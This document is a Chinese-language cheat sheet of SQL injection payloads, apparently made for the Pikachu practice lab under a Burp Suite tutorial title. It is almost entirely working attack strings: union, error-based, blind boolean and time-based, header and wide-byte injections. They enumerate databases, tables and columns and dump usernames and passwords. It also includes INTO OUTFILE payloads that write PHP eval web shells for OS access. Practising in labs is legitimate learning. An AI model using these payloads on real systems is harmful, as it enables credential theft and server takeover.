burpsuite实战教程
burpsuite实战教程.pdf
sql注入
数字型注入
1 or 1=1
字符型注入
kobe' or 1=1#
搜索型注入
kobe%' or 1 =1 #
XX型注入
kobe') or 1=1#
union联合查询 注入
// 1. cols count
kobe' union select 1,2#
// 2. database info
kobe' union select user(),database()#
// 3. tables name
kobe' union select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk'#
// 4. cols name
kobe' union select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users'#
// 5. table content
kobe' union select username,password from pk.users#
// 6. Burte Force
MD5 , SHA1, SHA256, SHA512
基于函数报错的注入
select查询时只能有一列
ERROR 1241 (21000): Operand should contain 1 column(s)
select查询时结果时多行会报错,需要使用limit限制
ERROR 1242 (21000): Subquery returns more than 1 row
// 1. 测试注入点
kobe' and updatexml(1,version(),0)#
kobe' and updatexml(1,concat(0x7e,version()),0)#
// 2. database info
kobe' and updatexml(1,concat(0x7e,database()),0)#
// 3. tables name
kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk')),0)#
kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1)),0)#
//found users
kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0)#
// 4. cols name
kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0)#
// found password
kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)),0)#
// found username
kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)),0)#
// 5. table content
kobe' and updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)#
kobe' and updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)#
// 6. Burte Force
extractvalue
kobe' and extractvalue(1,version())#
kobe' and extractvalue(1,concat(0x7e,version()))#
// 2. database info
kobe' and extractvalue(1,concat(0x7e,database()))#
// 3. tables name
kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk')))#
kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1)))#
kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1)))#
//found users
kobe' and extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)))#
// 4. cols name
kobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)))#
// found password
kobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)))#
// found username
kobe' and extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)))#
// 5. table content
kobe' and extractvalue(1,concat(0x7e,(select username from pk.users limit 0,1)))#
kobe' and extractvalue(1,concat(0x7e,(select password from pk.users limit 0,1)))#
// 6. Burte Force
floor()
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
// 2. database info
kobe' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x) a )#
// 3. tables name
//found users
kobe' and (select 2 from (select count(*),concat((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
// 4. cols name
// found password
kobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
// found username
kobe' and (select 2 from (select count(*),concat((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
// 5. table content
kobe' and (select 2 from (select count(*),concat((select username from pk.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
kobe' and (select 2 from (select count(*),concat((select password from pk.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x) a )#
// 6. Burte Force
基于函数报错,insert
1. 测试闭合
insert into member(username,pw,sex,phonenum,email,address) values('hello' -- ',md5('123'),'','','','')
hello' --
insert into member(username,pw,sex,phonenum,email,address) values('hello' or ' ',md5('123'),'','','','')
hello' or '
2. 获取数据库名称
insert into member(username,pw,sex,phonenum,email,address) values('hello' or updatexml(1,concat(0x7e,database()),0) or '',md5('123123'),'','','','')
hello' or updatexml(1,concat(0x7e,database()),0) or '
// 3. tables name
//found users
kobe' and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0)#
insert into member(username,pw,sex,phonenum,email,address) values('hello' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0) or '',md5('123123'),'','','','')
hello' or updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 3,1)),0) or '
// 4. cols name
kobe' and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0)#
hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1)),0) or '
// found password
hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 4,1)),0) or '
// found username
hello' or updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1)),0) or '
// 5. table content
kobe' and updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)#
hello' or updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0) or '
hello' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '
基于函数报错update
// 1. 测试注入
update member set sex=''',phonenum='123',address='1123123',email='123123' where username='test1'"
' 报错
update member set sex='' or '',phonenum='123',address='1123123',email='123123' where username='test1'"
' or ' bu报错
update member set sex='' or updatexml(1,concat(0x7e,database()),0) or '',phonenum='123',address='1123123',email='123123' where username='test1'"
// 2. 获取数据库名
' or updatexml(1,concat(0x7e,database()),0) or '
// 3. tables name
// 4. cols name
// 5. table content
基于函数报错注入,delete
1. 测试注入
' 报错
or 1=1 不报错
2. 获取数据信息
69+or+updatexml(1,concat(0x7e,database()),0)
// 3. tables name
// 4. cols name
// 5. table content
69 or updatexml(1,concat(0x7e,(select username from pk.users limit 0,1)),0)
69 or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)
http头注入
User-Agent: ' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '
Accept: ' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0) or '
Cookie: ant[uname]=admin' or updatexml(1,concat(0x7e,(select password from pk.users limit 0,1)),0)#;
基于布尔的盲注
kobe ' and 1=1#
获取字符函数
select substr("pk",1,1)='p'; 如果返回为1,说明正确,否则说明错误
获取数据库名的第一个字符
select substr(database(),1,1)='a'; 如果返回为1,说明正确,否则说明错误
将字符转为ascii
select ascii(substr(database(),1,1))=112;
获取字符串的长度
select length(database())=2;
kobe ' and select substr("pk",1,1)='p'#
kobe ' and select ascii(substr(database(),1,1))=112;
通过查询,and连接,两个查询都为真即为真
select username from member where username ='kobe' and (select ascii(substr(database(),1,1))=112);
kobe' and (select ascii(substr(database(),1,1))=112)#
后表查询中为假,所以为假
select username from member where username ='kobe' and (select ascii(substr(database(),1,1))=111);
kobe' and (select ascii(substr(database(),1,1))=111)#
// 1. 获取数据库名
// 1. 1获取数据库名的长度
kobe' and (select length(database())=2)#
// 1.2 获取数据库名的每一个字符
kobe' and (select ascii(substr(database(),1,1))=112)#
// 2. 表名
kobe' and (select ascii(substr(database(),1,1))=112)#
// 查询表名,获取第一个表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1
// 通过获取一个表名,然后判断这个表名的第一个字符的ascii是不是某一个值
kobe' and (select ascii(substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 0,1),1,1))=112)#
// 3. 列名
// 判断一列的一个字符
kobe' and (select ascii(substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 9,1),1,1))=112)#
// 4.内容
kobe' and (select ascii(substr((select username from pk.users limit 0,1),1,1))=112)#
基于时间的盲注
1. 测试注入点
kobe' and sleep(5)#
2. 获取数据库名
kobe' and if((substr(database(),1,1)='p'),sleep(5),null)#
3. 表名
kobe' and if((substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pk' limit 1,1),1,1)='m'),sleep(5),null)#
4. 列名
// 判断名字的第一个字符
kobe' and if((substr(获取的列名,1,1)='p'),sleep(5),null)#
5. 表的内容
// 判断名字的第一个字符
kobe' and if((substr(获取的表内容,1,1)='p'),sleep(5),null)#
C:/phpStudy/PHPTutorial/WWW/pk/1.php
获取操作系统权限:
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/2.php"#
kobe' union select "<?php @eval($_POST['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/2.php"#
kobe' union select "<?php @eval($_GET['cmd'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/pk/1.php"#
show global variables like '%secure%';
在mysql的配置文件中
[mysqld] 下面加入
secure_file_priv=
暴力破解表名和列名称
// 破解表名
kobe' and exists(select * from aa)#
将aa进行变量化 暴力破解
// 破解列名
kobe' and exists(select id from users)#
宽字节注入:
空格 %20
' %27
# %23
\ %5c
1%df' or 1=1#